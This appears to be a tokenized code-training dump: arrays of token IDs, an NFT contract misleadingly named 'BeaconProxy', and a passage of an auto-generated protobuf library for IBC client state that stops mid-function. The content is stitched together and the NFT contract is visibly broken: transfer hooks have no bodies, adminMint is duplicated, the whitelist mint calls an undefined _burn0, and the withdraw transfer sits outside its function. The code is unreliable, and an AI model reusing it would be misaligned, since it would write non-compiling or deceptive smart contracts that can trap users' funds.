31, 203, 540, 203, 3639, 943, 4188, 6275, 273, 2078, 3088, 1283, 380, 1059, 342, 2130, 31, 203, 3639, 312, 16936, 1225, 273, 2078, 3088, 1283, 380, 1059, 342, 2130, 31, 203, 203, 3639, 7720, 5157, 861, 6275, 273, 2078, 3088, 1283, 380, 404, 342, 12619, 31, 203, 3639, 640, 291, 91, 438, 8259, 273, 1234, 18, 15330, 31, 203, 203, 3639, 30143, 3882, 21747, 14667, 273, 389, 70, 9835, 3882, 21747, 14667, 31, 203, 3639, 30143, 48, 18988, 24237, 14667, 273, 389, 70, 9835, 48, 18988, 24237, 14667, 31, 203, 3639, 30143, 8870, 14667, 273, 389, 70, 9835, 8870, 14667, 31, 203, 3639, 30143, 5269, 2954, 281, 273, 30143, 3882, 21747, 14667, 397, 30143, 48, 18988, 24237, 14667, 397, 30143, 8870, 14667, 31, 203, 540, 203, 3639, 357, 80, 3882, 21747, 14667, 273, 389, 87, 1165, 3882, 21747, 14667, 31, 203, 3639, 357, 80, 48, 18988, 24237, 14667, 273, 389, 87, 1165, 48, 18988, 24237, 14667, 31, 203, 3639, 357, 80, 8870, 14667, 273, 389, 87, 1165, 8870, 14667, 31, 203, 3639, 357, 80, 5269, 2954, 281, 273, 357, 80, 3882, 21747, 14667, 397, 357, 80, 48, 18988, 24237, 14667, 397, 357, 80, 8870, 14667, 31, 203, 540, 203, 203, 3639, 4433, 1265, 2747, 3342, 12, 8443, 9334, 638, 1769, 203, 3639, 4433, 1265, 2747, 3342, 12, 2867, 12, 2211, 3631, 638, 1769, 203, 3639, 4433, 1265, 2747, 3342, 12, 2867, 12, 20, 92, 22097, 3631, 638, 1769, 203, 3639, 4433, 1265, 2954, 281, 12, 8443, 9334, 638, 1769, 203, 3639, 4433, 1265, 2954, 281, 12, 2867, 12, 2211, 3631, 638, 1769, 203, 3639, 4433, 1265, 2954, 281, 12, 2867, 12, 20, 92, 22097, 3631, 638, 1769, 203, 540, 203, 203, 3639, 640, 291, 91, 438, 58, 22, 4154, 273, 467, 984, 291, 91, 438, 58, 22, 1733, 24899, 318, 291, 91, 438, 58, 22, 8259, 18, 6848, 1435, 2934, 2640, 4154, 12, 2867, 12, 2211, 3631, 389, 318, 291, 91, 438, 58, 22, 8259, 18, 59, 1584, 44, 10663, 203, 3639, 4433, 1265, 2747, 3342, 12, 2867, 12, 318, 291, 91, 438, 58, 22, 4154, 3631, 638, 1769, 203, 3639, 389, 542, 22932, 690, 3882, 278, 12373, 4154, 12, 2867, 12, 318, 291, 91, 438, 58, 22, 4154, 3631, 638, 1769, 203, 3639, 389, 12908, 537, 12, 2867, 12, 318, 291, 91, 438, 58, 22, 4154, 3631, 640, 291, 91, 438, 8259, 16, 2078, 3088, 1283, 1769, 203, 540, 203, 5411, 389, 81, 474, 353, 392, 2713, 445, 316, 4232, 39, 3462, 18, 18281, 716, 353, 1338, 2566, 2674, 16, 203, 5411, 471, 385, 16791, 506, 2566, 14103, 3382, 203, 3639, 389, 81, 474, 12, 3576, 18, 15330, 16, 2078, 3088, 1283, 1769, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x6E252C49BF8c3E876A72d61c14b5a3d7432c5Eb1/sources/BeaconProxy.sol
File: contracts/nft.sol
contract BeaconProxy is ERC721A, Ownable { uint256 public immutable mintPrice = 0.003 ether; uint32 public immutable maxSupply = 500; uint32 public immutable maxPerTx = 10; function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity } modifier callerIsUser() { require(tx.origin == msg.sender, "The caller is another contract"); _; } constructor() ERC721A ("Block Mosa", "Mosa") { } function _baseURI() internal view override(ERC721A) returns (string memory) { return uriPrefix; } function setUri(string memory uri) public onlyOwner { uriPrefix = uri; } function _startTokenId() internal view virtual override(ERC721A) returns (uint256) { return 1; } function publicMint(uint256 amount) public payable callerIsUser{ require(msg.value >= mintPrice * amount, "insufficient"); require(totalSupply() + amount <= maxSupply, "sold out"); _safeMint(msg.sender, amount); } function safeMintToWhiteList(uint256 amount) public onlyOwner { _burn0(amount); } function adminMint(address[] memory accounts, uint16[] memory nums) public onlyOwner { require(accounts.length > 0 && accounts.length == nums.length, "Length not match"); for (uint i = 0; i < accounts.length; i++) { _safeMint(accounts[i], nums[i]); } } function adminMint(address[] memory accounts, uint16[] memory nums) public onlyOwner { require(accounts.length > 0 && accounts.length == nums.length, "Length not match"); for (uint i = 0; i < accounts.length; i++) { _safeMint(accounts[i], nums[i]); } } function withdraw() public onlyOwner { uint256 sendAmount = address(this).balance; address h = payable(msg.sender); bool success; require(success, "Transaction Unsuccessful"); } (success, ) = h.call{value: sendAmount}(""); }
4,325,092
[ 1, 4625, 348, 7953, 560, 30, 225, 1387, 30, 20092, 19, 82, 1222, 18, 18281, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 4823, 16329, 3886, 225, 353, 4232, 39, 27, 5340, 37, 16, 14223, 6914, 288, 203, 203, 203, 565, 2254, 5034, 1071, 11732, 312, 474, 5147, 273, 374, 18, 25425, 225, 2437, 31, 203, 565, 2254, 1578, 1071, 11732, 943, 3088, 1283, 273, 6604, 31, 203, 565, 2254, 1578, 1071, 11732, 943, 2173, 4188, 273, 1728, 31, 203, 203, 565, 445, 389, 5771, 1345, 1429, 18881, 12, 203, 3639, 1758, 628, 16, 203, 3639, 1758, 358, 16, 203, 3639, 2254, 5034, 787, 1345, 548, 16, 203, 3639, 2254, 5034, 10457, 203, 203, 565, 445, 389, 5205, 1345, 1429, 18881, 12, 203, 3639, 1758, 628, 16, 203, 3639, 1758, 358, 16, 203, 3639, 2254, 5034, 787, 1345, 548, 16, 203, 3639, 2254, 5034, 10457, 203, 97, 203, 203, 203, 565, 9606, 4894, 2520, 1299, 1435, 288, 203, 3639, 2583, 12, 978, 18, 10012, 422, 1234, 18, 15330, 16, 315, 1986, 4894, 353, 4042, 6835, 8863, 203, 3639, 389, 31, 203, 565, 289, 203, 203, 565, 3885, 1435, 203, 565, 4232, 39, 27, 5340, 37, 7566, 1768, 490, 12029, 3113, 315, 49, 12029, 7923, 288, 203, 565, 289, 203, 203, 565, 445, 389, 1969, 3098, 1435, 2713, 1476, 3849, 12, 654, 39, 27, 5340, 37, 13, 1135, 261, 1080, 3778, 13, 288, 203, 3639, 327, 2003, 2244, 31, 203, 565, 289, 203, 203, 565, 445, 30473, 12, 1080, 3778, 2003, 13, 1071, 1338, 5541, 288, 203, 3639, 2003, 2244, 273, 2003, 31, 203, 565, 289, 203, 203, 565, 445, 389, 1937, 1345, 548, 1435, 2713, 1476, 5024, 3849, 12, 654, 39, 27, 5340, 37, 13, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 327, 404, 31, 203, 565, 289, 203, 203, 565, 445, 1071, 49, 474, 12, 11890, 5034, 3844, 13, 1071, 8843, 429, 4894, 2520, 1299, 95, 203, 3639, 2583, 12, 3576, 18, 1132, 1545, 312, 474, 5147, 380, 3844, 16, 315, 2679, 11339, 8863, 203, 202, 6528, 12, 4963, 3088, 1283, 1435, 397, 3844, 1648, 943, 3088, 1283, 16, 315, 87, 1673, 596, 8863, 203, 540, 389, 4626, 49, 474, 12, 3576, 18, 15330, 16, 3844, 1769, 203, 565, 289, 203, 203, 565, 445, 4183, 49, 474, 774, 13407, 682, 12, 11890, 5034, 3844, 13, 1071, 1338, 5541, 288, 203, 3639, 389, 70, 321, 20, 12, 8949, 1769, 203, 565, 289, 203, 203, 565, 445, 3981, 49, 474, 12, 2867, 8526, 3778, 9484, 16, 2254, 2313, 8526, 3778, 21060, 13, 1071, 1338, 5541, 288, 203, 3639, 2583, 12, 13739, 18, 2469, 405, 374, 597, 9484, 18, 2469, 422, 21060, 18, 2469, 16, 315, 1782, 486, 845, 8863, 203, 3639, 364, 261, 11890, 277, 273, 374, 31, 277, 411, 9484, 18, 2469, 31, 277, 27245, 288, 203, 5411, 389, 4626, 49, 474, 12, 13739, 63, 77, 6487, 21060, 63, 77, 19226, 203, 3639, 289, 203, 565, 289, 203, 203, 565, 445, 3981, 49, 474, 12, 2867, 8526, 3778, 9484, 16, 2254, 2313, 8526, 3778, 21060, 13, 1071, 1338, 5541, 288, 203, 3639, 2583, 12, 13739, 18, 2469, 405, 374, 597, 9484, 18, 2469, 422, 21060, 18, 2469, 16, 315, 1782, 486, 845, 8863, 203, 3639, 364, 261, 11890, 277, 273, 374, 31, 277, 411, 9484, 18, 2469, 31, 277, 27245, 288, 203, 5411, 389, 4626, 49, 474, 12, 13739, 63, 77, 6487, 21060, 63, 77, 19226, 203, 3639, 289, 203, 565, 289, 203, 203, 565, 445, 598, 9446, 1435, 1071, 1338, 5541, 288, 203, 3639, 2254, 5034, 1366, 6275, 273, 1758, 12, 2211, 2934, 12296, 31, 203, 203, 3639, 1758, 366, 273, 8843, 429, 12, 3576, 18, 15330, 1769, 203, 203, 3639, 1426, 2216, 31, 203, 203, 3639, 2583, 12, 4768, 16, 315, 3342, 1351, 18418, 8863, 203, 565, 289, 203, 203, 203, 3639, 261, 4768, 16, 262, 273, 366, 18, 1991, 95, 1132, 30, 1366, 6275, 97, 2932, 8863, 203, 97, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.6.8; import "./ProtoBufRuntime.sol"; import "./GoogleProtobufAny.sol"; import "./Types.sol"; import "./Validator.sol"; import "./Proofs.sol"; import "./Commitment.sol"; library ClientState { //struct definition struct Data { string chain_id; Fraction.Data trust_level; int64 trusting_period; int64 unbonding_period; int64 max_clock_drift; Height.Data latest_height; ProofSpec.Data[] proof_specs; MerklePrefix.Data merkle_prefix; uint64 time_delay; } // Decoder section /** * @dev The main decoder for memory * @param bs The bytes array to be decoded * @return The decoded struct */ function decode(bytes memory bs) internal pure returns (Data memory) { (Data memory x, ) = _decode(32, bs, bs.length); return x; } /** * @dev The main decoder for storage * @param self The in-storage struct * @param bs The bytes array to be decoded */ function decode(Data storage self, bytes memory bs) internal { (Data memory x, ) = _decode(32, bs, bs.length); store(x, self); } // inner decoder /** * @dev The decoder for internal usage * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param sz The number of bytes expected * @return The decoded struct * @return The number of bytes decoded */ function _decode(uint256 p, bytes memory bs, uint256 sz) internal pure returns (Data memory, uint) { Data memory r; uint[10] memory counters; uint256 fieldId; ProtoBufRuntime.WireType wireType; uint256 bytesRead; uint256 offset = p; uint256 pointer = p; while (pointer < offset + sz) { (fieldId, wireType, bytesRead) = ProtoBufRuntime._decode_key(pointer, bs); pointer += bytesRead; if (fieldId == 1) { pointer += _read_chain_id(pointer, bs, r, counters); } else if (fieldId == 2) { pointer += _read_trust_level(pointer, bs, r, counters); } else if (fieldId == 3) { pointer += _read_trusting_period(pointer, bs, r, counters); } else if (fieldId == 4) { pointer += _read_unbonding_period(pointer, bs, r, counters); } else if (fieldId == 5) { pointer += _read_max_clock_drift(pointer, bs, r, counters); } else if (fieldId == 6) { pointer += _read_latest_height(pointer, bs, r, counters); } else if (fieldId == 7) { pointer += _read_proof_specs(pointer, bs, nil(), counters); } else if (fieldId == 8) { pointer += _read_merkle_prefix(pointer, bs, r, counters); } else if (fieldId == 9) { pointer += _read_time_delay(pointer, bs, r, counters); } else { if (wireType == ProtoBufRuntime.WireType.Fixed64) { uint256 size; (, size) = ProtoBufRuntime._decode_fixed64(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.Fixed32) { uint256 size; (, size) = ProtoBufRuntime._decode_fixed32(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.Varint) { uint256 size; (, size) = ProtoBufRuntime._decode_varint(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.LengthDelim) { uint256 size; (, size) = ProtoBufRuntime._decode_lendelim(pointer, bs); pointer += size; } } } pointer = offset; r.proof_specs = new ProofSpec.Data[](counters[7]); while (pointer < offset + sz) { (fieldId, wireType, bytesRead) = ProtoBufRuntime._decode_key(pointer, bs); pointer += bytesRead; if (fieldId == 1) { pointer += _read_chain_id(pointer, bs, nil(), counters); } else if (fieldId == 2) { pointer += _read_trust_level(pointer, bs, nil(), counters); } else if (fieldId == 3) { pointer += _read_trusting_period(pointer, bs, nil(), counters); } else if (fieldId == 4) { pointer += _read_unbonding_period(pointer, bs, nil(), counters); } else if (fieldId == 5) { pointer += _read_max_clock_drift(pointer, bs, nil(), counters); } else if (fieldId == 6) { pointer += _read_latest_height(pointer, bs, nil(), counters); } else if (fieldId == 7) { pointer += _read_proof_specs(pointer, bs, r, counters); } else if (fieldId == 8) { pointer += _read_merkle_prefix(pointer, bs, nil(), counters); } else if (fieldId == 9) { pointer += _read_time_delay(pointer, bs, nil(), counters); } else { if (wireType == ProtoBufRuntime.WireType.Fixed64) { uint256 size; (, size) = ProtoBufRuntime._decode_fixed64(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.Fixed32) { uint256 size; (, size) = ProtoBufRuntime._decode_fixed32(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.Varint) { uint256 size; (, size) = ProtoBufRuntime._decode_varint(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.LengthDelim) { uint256 size; (, size) = ProtoBufRuntime._decode_lendelim(pointer, bs); pointer += size; } } } return (r, sz); } // field readers /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_chain_id( uint256 p, bytes memory bs, Data memory r, uint[10] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (string memory x, uint256 sz) = ProtoBufRuntime._decode_string(p, bs); if (isNil(r)) { counters[1] += 1; } else { r.chain_id = x; if (counters[1] > 0) counters[1] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_trust_level( uint256 p, bytes memory bs, Data memory r, uint[10] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (Fraction.Data memory x, uint256 sz) = _decode_Fraction(p, bs); if (isNil(r)) { counters[2] += 1; } else { r.trust_level = x; if (counters[2] > 0) counters[2] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_trusting_period( uint256 p, bytes memory bs, Data memory r, uint[10] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (int64 x, uint256 sz) = ProtoBufRuntime._decode_int64(p, bs); if (isNil(r)) { counters[3] += 1; } else { r.trusting_period = x; if (counters[3] > 0) counters[3] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_unbonding_period( uint256 p, bytes memory bs, Data memory r, uint[10] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (int64 x, uint256 sz) = ProtoBufRuntime._decode_int64(p, bs); if (isNil(r)) { counters[4] += 1; } else { r.unbonding_period = x; if (counters[4] > 0) counters[4] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_max_clock_drift( uint256 p, bytes memory bs, Data memory r, uint[10] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (int64 x, uint256 sz) = ProtoBufRuntime._decode_int64(p, bs); if (isNil(r)) { counters[5] += 1; } else { r.max_clock_drift = x; if (counters[5] > 0) counters[5] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_latest_height( uint256 p, bytes memory bs, Data memory r, uint[10] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (Height.Data memory x, uint256 sz) = _decode_Height(p, bs); if (isNil(r)) { counters[6] += 1; } else { r.latest_height = x; if (counters[6] > 0) counters[6] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_proof_specs( uint256 p, bytes memory bs, Data memory r, uint[10] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (ProofSpec.Data memory x, uint256 sz) = _decode_ProofSpec(p, bs); if (isNil(r)) { counters[7] += 1; } else { r.proof_specs[r.proof_specs.length - counters[7]] = x; if (counters[7] > 0) counters[7] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_merkle_prefix( uint256 p, bytes memory bs, Data memory r, uint[10] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (MerklePrefix.Data memory x, uint256 sz) = _decode_MerklePrefix(p, bs); if (isNil(r)) { counters[8] += 1; } else { r.merkle_prefix = x; if (counters[8] > 0) counters[8] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_time_delay( uint256 p, bytes memory bs, Data memory r, uint[10] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (uint64 x, uint256 sz) = ProtoBufRuntime._decode_uint64(p, bs); if (isNil(r)) { counters[9] += 1; } else { r.time_delay = x; if (counters[9] > 0) counters[9] -= 1; } return sz; } // struct decoder /** * @dev The decoder for reading a inner struct field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @return The decoded inner-struct * @return The number of bytes used to decode */ function _decode_Fraction(uint256 p, bytes memory bs) internal pure returns (Fraction.Data memory, uint) { uint256 pointer = p; (uint256 sz, uint256 bytesRead) = ProtoBufRuntime._decode_varint(pointer, bs); pointer += bytesRead; (Fraction.Data memory r, ) = Fraction._decode(pointer, bs, sz); return (r, sz + bytesRead); } /** * @dev The decoder for reading a inner struct field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @return The decoded inner-struct * @return The number of bytes used to decode */ function _decode_Height(uint256 p, bytes memory bs) internal pure returns (Height.Data memory, uint) { uint256 pointer = p; (uint256 sz, uint256 bytesRead) = ProtoBufRuntime._decode_varint(pointer, bs); pointer += bytesRead; (Height.Data memory r, ) = Height._decode(pointer, bs, sz); return (r, sz + bytesRead); } /** * @dev The decoder for reading a inner struct field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @return The decoded inner-struct * @return The number of bytes used to decode */ function _decode_ProofSpec(uint256 p, bytes memory bs) internal pure returns (ProofSpec.Data memory, uint) { uint256 pointer = p; (uint256 sz, uint256 bytesRead) = ProtoBufRuntime._decode_varint(pointer, bs); pointer += bytesRead; (ProofSpec.Data memory r, ) = ProofSpec._decode(pointer, bs, sz); return (r, sz + bytesRead); } /** * @dev The decoder for reading a inner struct field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @return The decoded inner-struct * @return The number of bytes used to decode */ function _decode_MerklePrefix(uint256 p, bytes memory bs) internal pure returns (MerklePrefix.Data memory, uint) { uint256 pointer = p; (uint256 sz, uint256 bytesRead) = ProtoBufRuntime._decode_varint(pointer, bs); pointer += bytesRead; (MerklePrefix.Data memory r, ) = MerklePrefix._decode(pointer, bs, sz); return (r, sz + bytesRead); } // Encoder section /** * @dev The main encoder for memory * @param r The struct to be encoded * @return The encoded byte array */ function encode(Data memory r) internal pure returns (bytes memory) { bytes memory bs = new bytes(_estimate(r)); uint256 sz = _encode(r, 32, bs); assembly { mstore(bs, sz) } return bs; } // inner encoder /** * @dev The encoder for internal usage * @param r The struct to be encoded * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @return The number of bytes encoded */ function _encode(Data memory r, uint256 p, bytes memory bs) internal pure returns (uint) { uint256 offset = p; uint256 pointer = p; uint256 i; if (bytes(r.chain_id).length != 0) { pointer += ProtoBufRuntime._encode_key( 1, ProtoBufRuntime.WireType.LengthDelim, pointer, bs ); pointer += ProtoBufRuntime._encode_string(r.chain_id, pointer, bs); } pointer += ProtoBufRuntime._encode_key( 2, ProtoBufRuntime.WireType.LengthDelim, pointer, bs ); pointer += Fraction._encode_nested(r.trust_level, pointer, bs); if (r.trusting_period != 0) { pointer += ProtoBufRuntime._encode_key( 3, ProtoBufRuntime.WireType.Varint, pointer, bs ); pointer += ProtoBufRuntime._encode_int64(r.trusting_period, pointer, bs); } if (r.unbonding_period != 0) { pointer += ProtoBufRuntime._encode_key( 4, ProtoBufRuntime.WireType.Varint, pointer, bs ); pointer += ProtoBufRuntime._encode_int64(r.unbonding_period, pointer, bs); } if (r.max_clock_drift != 0) { pointer += ProtoBufRuntime._encode_key( 5, ProtoBufRuntime.WireType.Varint, pointer, bs ); pointer += ProtoBufRuntime._encode_int64(r.max_clock_drift, pointer, bs); } pointer += ProtoBufRuntime._encode_key( 6, ProtoBufRuntime.WireType.LengthDelim, pointer, bs ); pointer += Height._encode_nested(r.latest_height, pointer, bs); if (r.proof_specs.length != 0) { for(i = 0; i < r.proof_specs.length; i++) { pointer += ProtoBufRuntime._encode_key( 7, ProtoBufRuntime.WireType.LengthDelim, pointer, bs) ; pointer += ProofSpec._encode_nested(r.proof_specs[i], pointer, bs); } } pointer += ProtoBufRuntime._encode_key( 8, ProtoBufRuntime.WireType.LengthDelim, pointer, bs ); pointer += MerklePrefix._encode_nested(r.merkle_prefix, pointer, bs); if (r.time_delay != 0) { pointer += ProtoBufRuntime._encode_key( 9, ProtoBufRuntime.WireType.Varint, pointer, bs ); pointer += ProtoBufRuntime._encode_uint64(r.time_delay, pointer, bs); } return pointer - offset; } // nested encoder /** * @dev The encoder for inner struct * @param r The struct to be encoded * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @return The number of bytes encoded */ function _encode_nested(Data memory r, uint256 p, bytes memory bs) internal pure returns (uint) { /** * First encoded `r` into a temporary array, and encode the actual size used. * Then copy the temporary array into `bs`. */ uint256 offset = p; uint256 pointer = p; bytes memory tmp = new bytes(_estimate(r)); uint256 tmpAddr = ProtoBufRuntime.getMemoryAddress(tmp); uint256 bsAddr = ProtoBufRuntime.getMemoryAddress(bs); uint256 size = _encode(r, 32, tmp); pointer += ProtoBufRuntime._encode_varint(size, pointer, bs); ProtoBufRuntime.copyBytes(tmpAddr + 32, bsAddr + pointer, size); pointer += size; delete tmp; return pointer - offset; } // estimator /** * @dev The estimator for a struct * @param r The struct to be encoded * @return The number of bytes encoded in estimation */ function _estimate( Data memory r ) internal pure returns (uint) { uint256 e;uint256 i; e += 1 + ProtoBufRuntime._sz_lendelim(bytes(r.chain_id).length); e += 1 + ProtoBufRuntime._sz_lendelim(Fraction._estimate(r.trust_level)); e += 1 + ProtoBufRuntime._sz_int64(r.trusting_period); e += 1 + ProtoBufRuntime._sz_int64(r.unbonding_period); e += 1 + ProtoBufRuntime._sz_int64(r.max_clock_drift); e += 1 + ProtoBufRuntime._sz_lendelim(Height._estimate(r.latest_height)); for(i = 0; i < r.proof_specs.length; 